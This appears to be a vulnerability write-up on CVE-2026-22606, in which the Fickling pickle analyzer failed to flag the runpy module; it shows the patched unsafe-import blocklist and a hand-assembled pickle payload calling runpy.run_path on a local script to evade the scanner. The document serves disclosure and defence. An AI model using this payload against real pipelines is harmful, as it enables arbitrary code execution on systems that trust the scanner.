Feb 23, 2026·7 min read·1 visit
Fickling versions <= 0.1.6 failed to flag the `runpy` module as unsafe. Attackers can bypass the analyzer and achieve RCE by using `runpy.run_path()` within a malicious pickle.
In a twist of cruel irony, Fickling—a tool designed to protect users from malicious Python pickles—was found to be blind to one of the most obvious execution vectors in the standard library: `runpy`. By failing to blacklist this module, Fickling allowed attackers to craft pickles that pass static analysis filters while still retaining the ability to achieve Arbitrary Code Execution (ACE) upon deserialization. This vulnerability highlights the inherent fragility of blocklist-based security in dynamic language environments.
If you've spent more than five minutes in the Python security ecosystem, you know the mantra: Never unpickle untrusted data. It is the prime directive. The Pickle protocol isn't just a serialization format; it is a bytecode for a stack-based virtual machine (the PVM). Unpickling is, effectively, code execution. But because humans are stubborn and legacy systems are eternal, people still use pickles. Enter Fickling, a heroic attempt by Trail of Bits to make this dangerous practice slightly less suicidal. Fickling acts as a decompiler and static analyzer, reverse-engineering the PVM bytecode to tell you if a pickle is trying to eat your hard drive.
Here is the tragedy: Fickling works by identifying "unsafe" imports—modules like os, sys, and subprocess that are the usual suspects in Remote Code Execution (RCE) payloads. It acts as a gatekeeper. If Fickling says a pickle is clean (or merely "suspicious" rather than "overtly malicious"), an automated pipeline might let it through. But what happens when the gatekeeper forgets the face of one of the enemies?
CVE-2026-22606 isn't a buffer overflow or a complex heap grooming exploit. It is a logic error in that blocklist. The developers anticipated attackers using os.system or eval, but they completely overlooked runpy. This is the digital equivalent of locking your front door with a biometric scanner but leaving the key under the mat. The tool designed to stop RCE was blind to a module specifically designed to run code.
To understand the flaw, we have to look at how Fickling categorizes threats. It uses an abstract interpretation of the pickle bytecode to reconstruct the AST (Abstract Syntax Tree) of what the pickle would do if executed. It then runs an analysis pass called UnsafeImports. This pass compares the imported modules against a hardcoded set of strings known to be dangerous.
The vulnerability lies in the incompleteness of this set. The runpy module in Python's standard library is a powerful utility. It is used to locate and execute Python modules without importing them first. Functions like runpy.run_path() and runpy.run_module() allow for immediate execution of scripts or compiled code objects.
In Fickling versions up to 0.1.6, runpy was missing from the UNSAFE_IMPORTS set. This means that if an attacker crafted a pickle that imported runpy and called run_path('/tmp/exploit.py'), Fickling's analyzer would look at it, check its list, see that runpy wasn't on the "naughty list," and shrug. It might flag it as SUSPICIOUS due to heuristic checks (like unused variables), but it would fail to mark it as OVERTLY_MALICIOUS. For a security gateway, the difference between "Suspicious" and "Malicious" is often the difference between a blocked attempt and a compromised server.
The fix is almost embarrassingly simple, which highlights the fragility of the previous approach. The vulnerability existed in fickling/fickle.py (or the internal logic defining unsafe imports). The developers had to play catch-up with the Python standard library.
Here is the essence of the patch applied in commit 9a2b3f89bd0598b528d62c10a64c1986fcb09f66. They didn't rewrite the engine; they just added names to the list.
# Before (simplified representation)
UNSAFE_IMPORTS = {
"os", "sys", "subprocess", "eval", "exec", ...
}
# After (Patch 0.1.7)
UNSAFE_IMPORTS = {
"os", "sys", "subprocess", "eval", "exec",
"runpy", # <--- The fix for CVE-2026-22606
"cProfile", # <--- Another vector (GHSA-p523-jq9w-64x9)
"pydoc", # <--- Another vector (GHSA-5hvc-6wx8-mvv4)
"ctypes",
"importlib",
"code",
"multiprocessing"
}> [!NOTE]
> Notice the other additions like cProfile and pydoc. This wasn't just about runpy; the researchers realized the blocklist was a sieve. pydoc can launch a web server, and cProfile can execute arbitrary code for profiling.
The patch also hardened the checking logic. Instead of just checking the top-level module, it now iterates through components of dotted paths to ensure an attacker can't sneak in via pkg.subpkg.module:
# Hardened logic
if any(component in UNSAFE_IMPORTS for component in node.module.split(".")):
self.mark_dangerous(node)Let's put on our black hats. To exploit this, we don't need buffer overflows; we just need to speak the language of the PVM. We need to construct a pickle that imports runpy and calls a function.
The Pickle protocol uses opcodes. Key opcodes for us are:
STACK_GLOBAL (\x93): Imports a module and a name, pushing the result onto the stack.REDUCE (R): Calls a callable on the stack with a tuple of arguments.Here is how we construct the bypass payload. We assume the attacker has already dropped a script at /tmp/pwn.py (or uses a UNC path on Windows).
import pickle
import pickletools
# The payload opcode sequence
# 1. Push 'runpy' (module)
# 2. Push 'run_path' (function)
# 3. STACK_GLOBAL -> imports runpy.run_path
# 4. Push '/tmp/pwn.py' (argument)
# 5. Tuple builder (for arguments)
# 6. REDUCE -> executes runpy.run_path('/tmp/pwn.py')
opcode_payload = (
b'\x80\x04' # PROTO 4
b'\x95\x18\x00\x00\x00' # FRAME length
b'\x8c\x05runpy\x94' # SHORT_BINUNICODE 'runpy'
b'\x8c\x08run_path\x94' # SHORT_BINUNICODE 'run_path'
b'\x93' # STACK_GLOBAL (import runpy.run_path)
b'\x94' # MEMOIZE
b'\x8c\x0b/tmp/pwn.py\x94' # SHORT_BINUNICODE argument
b'\x85' # TUPLE1
b'R' # REDUCE (Call function)
b'.' # STOP
)
# Verification
# pickletools.dis(opcode_payload)When Fickling 0.1.6 analyzes this byte stream, it sees the reference to runpy. It checks its internal database. runpy is missing. It parses the rest. The analysis concludes without triggering the critical UnsafeImport alarm. The victim sees "Safe" (or ignores the low-level warning), runs pickle.loads(payload), and the script at /tmp/pwn.py executes with the privileges of the host application.
The impact here is subtle but devastating. If you are using pickle.load() directly without checks, you are already vulnerable to everything. This CVE specifically targets people trying to do the right thing. Organizations often deploy tools like Fickling in CI/CD pipelines to scan ML models (which are often pickled) or data artifacts before they enter production environments.
By bypassing this check, an attacker can infiltrate environments that believe they are secured. This is a "security theater" vulnerability. The tool gave a thumbs-up to a bomb.
The immediate fix is to upgrade to Fickling v0.1.7 or later. This version includes the expanded blocklist that covers runpy, cProfile, and others. If you cannot upgrade, you are theoretically holding a grenade.
However, the deeper mitigation strategy is to stop trusting pickles entirely. Fickling is a brilliant tool, but static analysis of a Turing-complete serialization format (which Pickle effectively is) is mathematically difficult. Blocklists are inherently reactive. Today it's runpy, tomorrow it might be a gadget chain involving a benign-looking library that interacts with C-extensions.
Strategic Recommendation:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
fickling Trail of Bits | <= 0.1.6 | 0.1.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-184 (Incomplete List of Disallowed Inputs) |
| Secondary CWE | CWE-502 (Deserialization of Untrusted Data) |
| CVSS v3.1 | 7.8 (High) |
| Attack Vector | Local / Network (File-based) |
| Impact | Arbitrary Code Execution (ACE) |
| Exploit Status | PoC Available |